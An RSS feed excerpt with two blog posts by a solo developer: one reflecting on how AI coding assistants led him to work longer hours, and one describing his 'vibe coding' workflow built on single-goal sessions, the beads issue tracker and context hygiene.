data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p>We were comparing notes on hitting usage limits with AI coding tools. Both of us on expensive plans. Both of us running into ceilings more often than we did months ago. Both of us, apparently, turning into &#8220;power users&#8221; in our respective tiers.</p><p>And then he dropped this line: &#8220;So AI was supposed to make us work less but now we are working more. That&#8217;s the conclusion.&#8221;</p><p>I laughed. Then I stopped laughing.</p><p>Because he&#8217;s right. I get more done in a single day than I used to accomplish in a week. I&#8217;m shipping features, writing content, running experiments at a pace that would&#8217;ve been unthinkable about a year ago.</p><p>And I have never worked this much in my life.</p><p>Here&#8217;s what nobody warned us about: AI didn&#8217;t give us more time. It gave us more capability.</p><p>And capability, it turns out, is extremely addictive.</p><h2><strong>The Collapse of Activation Energy</strong></h2><p>Before AI coding assistants, most ideas died a quiet death in my notes app. Not because they were bad ideas. Because the effort-to-value ratio was unfavorable.</p><p>&#8220;I could build that feature, but it would take a week of focused work. Is it worth a week? Probably not.&#8221;</p><p>Idea archived. Moving on.</p><p>Now that same feature takes a day. Sometimes less. So I build it.</p><p>Then I build the next thing. And the next. And suddenly I&#8217;m shipping more in a month than I used to ship in a quarter.</p><p>The activation energy for starting new work collapsed. And I filled every inch of the newly available space.</p><h2><strong>Ambition Scales With Output</strong></h2><p>Here&#8217;s the thing about humans: we don&#8217;t scope our ambitions in absolute terms. We scope them relative to what feels achievable.</p><p>Before AI, I planned projects based on what I could reasonably ship with my limited time and energy. A feature per week. Maybe two if I was focused.</p><p>Now &#8220;reasonable&#8221; means something entirely different. My mental model of what&#8217;s achievable expanded by 5x, and my project scope expanded right along with it.</p><p>I&#8217;m not doing the same work faster. I&#8217;m doing <em>more work</em>.</p><p>The goalposts moved. And I moved them myself.</p><h2><strong>The Death of Natural Stopping Points</strong></h2><p>There used to be friction in development work. Waiting for builds. Context switching costs. The mental load of holding an entire system in your head while debugging.</p><p>That friction was annoying. It was also a circuit breaker.</p><p>It forced breaks. It created natural pauses where you&#8217;d step away, get coffee, maybe realize it was 7pm and you should probably eat dinner.</p><p>AI removed the friction. Which sounds great until you realize the friction was also your automatic brake pedal.</p><p>Now you can go from idea to implementation to deployment without ever hitting a natural stopping point. The only thing that stops you is your own willpower.</p><p>My willpower, for the record, is not great.</p><h2><strong>The Dopamine Loop of Shipping</strong></h2><p>Here&#8217;s an uncomfortable comparison: AI-assisted coding feels a lot like infinite scroll.</p><p>You ship something. It feels good. The tool makes shipping fast and easy. So you ship something else. That also feels good. And there&#8217;s always one more thing you could ship.</p><p>Same psychological mechanics. Different output.</p><p>Except instead of consuming content, you&#8217;re producing it. Which feels more virtuous. Which makes it even harder to stop.</p><p>&#8220;I&#8217;m not doomscrolling. I&#8217;m being <em>productive</em>.&#8221;</p><p>Sure you are.</p><h2><strong>The &#8220;Why Not&#8221; Threshold</strong></h2><p>The most insidious change is what happened to my internal cost-benefit calculator.</p><p>I used to ask: &#8220;Is this worth the effort?&#8221;</p><p>Now I ask: &#8220;Why wouldn&#8217;t I just do this?&#8221;</p><p>That experiment I would&#8217;ve skipped because setting it up was tedious? Now I run it. That edge case I would&#8217;ve ignored because fixing it properly would take half a day? Now I fix it.</p><p>The threshold for &#8220;worth my time&#8221; dropped to near zero. So everything is worth my time. So I do everything.</p><p>This is how you end up working 12-hour days while technically being more &#8220;efficient&#8221; than ever before.</p><h2><strong>The Uncomfortable Truth</strong></h2><p>AI tools didn&#8217;t give us more free time. They gave us more output capacity. And we&#8217;re psychologically incapable of leaving capacity unused. At least I am.</p><p>The work expanded to fill the available capability. Parkinson&#8217;s Law, but in reverse.</p><p>We&#8217;re not working less. We&#8217;re shipping more while <em>feeling</em> productive. Which is a different thing entirely.</p><p>My friend was right to put &#8220;off&#8221; in scare quotes when wishing me a good weekend. We both knew I wasn&#8217;t really taking time off. I was just switching to a different kind of work.</p><h2><strong>What Now?</strong></h2><p>I don&#8217;t have a tidy solution here. I&#8217;m not going to pretend I&#8217;ve figured out work-life balance in the age of AI assistants.</p><p>But I&#8217;ve started noticing when I&#8217;m filling capacity just because I can. When I&#8217;m starting a new feature not because it matters, but because the activation energy is so low that &#8220;why not&#8221; won the argument.</p><p>Sometimes the answer to &#8220;why not&#8221; is: because you could just... not.</p><p>Groundbreaking insight, I realize.</p><p>The AI isn&#8217;t going to set boundaries for you. If anything, hitting usage limits might be the only forced break some of us get. Which is both sad and a little funny.</p><p>Maybe the real productivity hack is learning to leave capability on the table.</p><p>I&#8217;ll let you know how that goes. Right after I ship this one more thing.</p><div><hr></div><p><em>I write about building and deploying software as a solo developer. If you&#8217;re trying to do it all yourself without hiring a team, I&#8217;m probably making the same mistakes you are.</em></p>]]></content:encoded></item><item><title><![CDATA[I Built 2 SaaS Products Vibe Coding. Here's the System That Made It Work.]]></title><description><![CDATA[Context hygiene, mise en place, and why your wife is always right.]]></description><link>https://blog.lakshminp.com/p/vibe-coding-2-saas-products</link><guid isPermaLink="false">https://blog.lakshminp.com/p/vibe-coding-2-saas-products</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Sat, 24 Jan 2026 14:06:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f279e6eb-88ae-469e-aba0-f08738b97f3e_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Gene Kim and Steve Yegge&#8217;s <a href="https://www.amazon.com/Vibe-Coding-Building-Production-Grade-Software/dp/1966280025">Vibe Coding</a> book says you&#8217;re the head chef now.</p><p>The metaphor runs through the whole thing: you&#8217;re not a line cook anymore, you&#8217;re orchestrating AI sous chefs, directing the kitchen, tasting every dish before it goes out. The developer-as-implementer era is over. Welcome to developer-as-orchestrator.</p><div><hr></div><p><em>Hey, I&#8217;m Lakshmi &#8212; I help developers build, deploy, and distribute their SaaS without hiring a team. I also run <a href="https://stacksweller.com/?utm_source=substack&amp;utm_medium=blog&amp;utm_campaign=intro_blurb">Stacksweller</a> and <a href="https://supabyoi.com/">Supabyoi</a>.</em></p><p><em>New here? Start with <a href="https://blog.lakshminp.com/p/ai-agent-memory-persistence">Why Your AI Wakes Up Every Morning With No Memory</a> or <a href="https://blog.lakshminp.com/p/clean-code-dead-clean-specs">Clean Code Is Dead</a>.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.lakshminp.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.lakshminp.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2><strong>The Biryani Incident</strong></h2><p>It&#8217;s a good metaphor. I buy it. But here&#8217;s the thing about being a head chef that the metaphor doesn&#8217;t quite capture: a head chef without mise en place is just a guy having a panic attack near hot surfaces.</p><p>I know this because I&#8217;ve been that guy. Literally.</p><p>My wife had to leave town for a few days. &#8220;I&#8217;ll handle dinner,&#8221; I said, with the confidence of someone who has watched many cooking videos and successfully boiled pasta multiple times. I decided to make veg biryani &#8212; a dish my wife makes effortlessly, layering rice and vegetables and spices into something that tastes like it required more effort than it actually did.</p><p>&#8220;Prep everything first,&#8221; she told me before leaving. &#8220;Soak the basmati rice. Marinate the paneer. Chop the vegetables for layering. Have it all ready before you start cooking.&#8221;</p><p>Reader, I did not do this.</p><p>I started frying onions. While the onions were going, I realized I hadn&#8217;t marinated the paneer. So I started cubing paneer and mixing yogurt and spices. Then the onions started burning. I ran back, stirred frantically, ran back to the paneer. Remembered I needed to soak the basmati. Started the rice soaking. The onions were now definitely burned. I scraped them out, started over, but now I was behind, so I tried to do the vegetables and the new onions simultaneously while the paneer sat half-marinated...</p><p>An hour later I had a kitchen that looked like a crime scene, three pans with various stages of failure in them, and something that was technically edible but bore no resemblance to biryani. My wife, via video call, watched me plate this disaster with the expression of someone who had specifically warned against this exact outcome.</p><p>The problem wasn&#8217;t skill. I can cook. The problem was that prep and execution were bleeding into each other. I was trying to figure out what I needed while also doing the thing. And it turns out you can&#8217;t actually do both. Not well, anyway.</p><p>I&#8217;ve been that guy with AI sous chefs too.</p><p>I&#8217;ve been vibe coding since mid-2025. By &#8220;vibe coding&#8221; I mean the thing where you describe what you want in natural language and an AI writes the code. You know, the future we were promised, except the future has some sharp edges nobody mentioned in the demos.</p><p>Two SaaS products. Real users. Real revenue. Not toy projects, not &#8220;look ma I generated a todo app&#8221; tutorials, not the kind of thing you show off on Twitter and then quietly delete three weeks later. Actual products that people pay actual money for.</p><p>So when I tell you what follows, understand: this isn&#8217;t theory. This is what I learned by shipping real things and watching everything that could go wrong go wrong.</p><h2><strong>The Markdown Hemorrhage</strong></h2><p>For the first few months, I was that chef.</p><p>I&#8217;d sit down to implement a feature. Claude and I would get rolling. Then I&#8217;d notice a bug. Well, I&#8217;m already here, might as well fix the bug. Then while fixing the bug, I&#8217;d realize the error handling was inconsistent. Better clean that up. Oh, and there&#8217;s still context left in the window &#8212; might as well tackle that other feature I&#8217;ve been meaning to add.</p><p>Two hours later: three half-finished things, Claude confused about which task we&#8217;re actually doing, and code quality somewhere between &#8220;works&#8221; and &#8220;I&#8217;m not sure why.&#8221;</p><p>And the markdown. God, the markdown.</p><p>Claude, bless its heart, wanted to help me remember things. So it started creating files. <a href="http://architecture.md/">ARCHITECTURE.md</a>. <a href="http://decisions.md/">DECISIONS.md</a>. IMPLEMENTATION_NOTES.md. <a href="http://todo.md/">TODO.md</a>. <a href="http://context.md/">CONTEXT.md</a>. <a href="http://changelog.md/">CHANGELOG.md</a>. README_UPDATED.md.</p><p>I call this markdown hemorrhage. The AI equivalent of a kitchen where every surface is covered with prep bowls, half-chopped vegetables, and sticky notes that say &#8220;DON&#8217;T FORGET THE SAUCE&#8221; &#8212; technically documentation, practically chaos.</p><p>At one point I had so many markdown files that I needed another AI tool just to search through the documentation I&#8217;d created for my AI tool.</p><p>This was clearly insane.</p><p>But here&#8217;s the thing that took me embarrassingly long to figure out: the problem wasn&#8217;t the tools. The problem was me.</p><h2><strong>One Goal Per Session</strong></h2><p>I was treating every Claude session like a buffet.</p><p>You know how it goes. You sit down to implement a feature. While you&#8217;re implementing, you notice a bug. Well, you&#8217;re already here, might as well fix the bug. Oh, and while fixing the bug, you realize the error handling is inconsistent across the codebase. Better clean that up too. And hey, there&#8217;s still context left in the window &#8212; might as well tackle that other feature you&#8217;ve been meaning to add.</p><p>Two hours later, you&#8217;ve got three half-finished things, Claude is confused about which task it&#8217;s actually working on, and the code quality has degraded to &#8220;works but I&#8217;m not sure why.&#8221;</p><p>I call this context pollution. And once I named it, I started seeing it everywhere.</p><p>LLMs are bad at juggling multiple goals. This isn&#8217;t a Claude problem &#8212; it&#8217;s a fundamental thing about how these models work. When you ask them to hold multiple objectives simultaneously, they get worse at all of them. Not a little worse. <em>Dramatically</em> worse.</p><p>The fix sounds almost stupidly simple: one goal per session.</p><p>That&#8217;s it. That&#8217;s the whole trick. One goal. One session. If you discover a bug while implementing a feature, you write down the bug and you close the session. The bug gets its own session later. No &#8220;while I&#8217;m here&#8221; detours. No context pollution.</p><p>&#8220;But what about efficiency?&#8221; I hear you asking. &#8220;Isn&#8217;t it wasteful to end a session when there&#8217;s still context left?&#8221;</p><p>This is the trap. This is exactly the thinking that leads to burned onions and half-marinated paneer. The leftover context is not an asset. It&#8217;s a liability. It&#8217;s your coworker with three tasks open, doing all of them poorly, about to forget everything anyway.</p><p>End the session. Start fresh. One goal.</p><h2><strong>The Mise en Place</strong></h2><p>Now, this discipline only works if you have a way to track what you&#8217;re not doing.</p><p>If you end a session every time you discover a bug, you need somewhere for that bug to live. Otherwise you&#8217;ll forget it. The bugs pile up in your head, you context-switch mentally, and you&#8217;re back where you started.</p><p>This is where beads comes in.</p><p>Beads is a git-backed issue tracker that Claude can read and write. Steve Yegge built it (yes, that Steve Yegge &#8212; the guy who wrote the platforms rant and approximately nine million words about Emacs). The idea is simple: every task becomes a &#8220;bead.&#8221; Claude creates them, updates them, closes them. They survive compaction. They sync through git.</p><p>I installed it. I ran <code>bd init</code>. And then something clicked.</p><p>See, beads isn&#8217;t just a todo list. It&#8217;s a forcing function. When you start a session, you run <code>bd ready</code> and it shows you what&#8217;s available to work on. You pick <em>one</em>. Not three. One.</p><p>And when you discover a bug mid-session? You tell Claude to create a bead for it. Claude writes it down, logs the context, notes any relevant details. Then you move on. The bug exists now. It has a home. You don&#8217;t have to hold it in your head.</p><p>The discipline and the tool reinforce each other. One bead per session only works because beads exist to capture everything else. And beads only work because the discipline prevents you from drowning in them.</p><h2><strong>Grooming vs. Coding</strong></h2><p>But I&#8217;m getting ahead of myself. Let me tell you about grooming.</p><p>In my old workflow, I&#8217;d sit down and just... start. Open Claude, describe what I wanted, begin coding. Very vibe. Very chaotic. Whatever felt right in the moment.</p><p>The problem is that &#8220;figuring out what to do&#8221; and &#8220;doing the thing&#8221; are completely different cognitive modes. One is divergent &#8212; you&#8217;re exploring possibilities, breaking down problems, identifying edge cases. The other is convergent &#8212; you&#8217;re executing, making decisions, writing code.</p><p>When you mix them, you get mush.</p><p>So now I run two types of sessions:</p><p>Grooming sessions are for thinking. I&#8217;m not coding. I&#8217;m not even planning to code in this session. I&#8217;m creating beads. Breaking down a feature into pieces. Identifying dependencies. Noting edge cases. If I think of an unrelated feature while grooming, it gets written down &#8212; for a different grooming session. No cross-contamination.</p><p>Coding sessions are for execution. One bead. Implement it. If I discover a bug, I note it and keep going unless it&#8217;s blocking. The bug gets groomed and coded in its own sessions later.</p><p>This separation is the whole game. It sounds bureaucratic. It sounds like exactly the kind of process that &#8220;vibe coding&#8221; was supposed to eliminate. But here&#8217;s the secret: this discipline is what makes vibe coding actually work at scale. Without it, you&#8217;re just generating code and hoping. With it, you&#8217;re building systems.</p><h2><strong>A Few Other Things</strong></h2><p>MCPs should be loaded at project level, not globally. Every MCP eats context. If a project doesn&#8217;t need the Reddit MCP, it doesn&#8217;t get the Reddit MCP. Context is expensive. Guard it like it&#8217;s money, because in a very real sense, it is.</p><p>Autocompact should be off. I want to control when context resets, not have the algorithm decide for me mid-feature. Yes, this means manually managing sessions. That&#8217;s the point.</p><p><a href="http://claude.md/">Claude.md</a> files are more powerful than you think. I have a global one in <code>~/.claude/CLAUDE.md</code> with rules that apply everywhere. Each project gets its own with project-specific instructions. Claude reads these automatically. They&#8217;re like a pre-prompt that doesn&#8217;t eat your context window.</p><h2><strong>What Still Doesn&#8217;t Work</strong></h2><p>Now, here&#8217;s the part where I&#8217;m supposed to tell you it&#8217;s all solved and my workflow is perfect.</p><p>It&#8217;s not.</p><p>Debugging production issues is still clunky. I&#8217;ve got a combination of skills and MCPs that sort of works, but there&#8217;s too much manual context assembly. Something breaks in prod and I&#8217;m still spending the first 20 minutes of the session explaining the architecture before we can even start diagnosing.</p><p>Test-driven development doesn&#8217;t flow. The loop of &#8220;write test, see it fail, implement, see it pass&#8221; &#8212; it&#8217;s awkward. Claude wants to write everything at once. I&#8217;m still tweaking my tooling to make TDD feel natural.</p><p>UX work is hard. Like, fundamentally hard. Claude can scaffold UI. It can generate components. But &#8220;does this feel right?&#8221; is a human judgment call, and trying to get there through text-based iteration is like describing a painting to someone and asking them to tell you if it&#8217;s beautiful.</p><p>These are the walls I&#8217;m hitting. I&#8217;m building tooling to address them &#8212; an <a href="https://lakshminp.substack.com/p/why-im-building-an-agent-orchestrator">agent orchestrator</a> that tailors Claude to my specific workflow. Work in progress. If you&#8217;re the adventurous type, you can <a href="https://badri.github.io/wt/">try it now</a>.</p><h2><strong>The System</strong></h2><p>So here&#8217;s the actual system, if you want to try it:</p><ol><li><p>Install beads: <code>npm install -g @anthropic-ai/beads &amp;&amp; bd init</code></p></li><li><p>Add to your global <a href="http://claude.md/">CLAUDE.md</a>: &#8220;Check <code>bd ready</code> at session start. One bead per session.&#8221;</p></li><li><p>Separate grooming from coding. Different sessions. Different mindsets.</p></li><li><p>Resist the urge to &#8220;do more while there&#8217;s context left.&#8221; That&#8217;s the trap.</p></li><li><p>Protect your context. Project-level MCPs only. Kill anything you don&#8217;t need.</p></li></ol><p>Two SaaS products since mid-2025. All vibe coded with this system.</p><p>Not because the tools are magic. The tools are good, but tools are never magic. What made it work was the discipline &#8212; the willingness to be a little bit boring about context hygiene, to resist the temptation to do more, to trust that a focused session ships more than a scattered one.</p><p>Vibe coding without chaos. It turns out it&#8217;s not about vibing harder. It&#8217;s about vibing deliberately.</p><p>You&#8217;re the head chef now. But don&#8217;t forget your mise en place.</p><p>My wife was right, by the way. She usually is.</p><div><hr></div><p><em>I&#8217;m Lakshmi. 20 years in software &#8212; ops, infrastructure, full-stack. Now solo founder using Claude Code to develop, deploy, and distribute.</em></p>]]></content:encoded></item></channel></rss>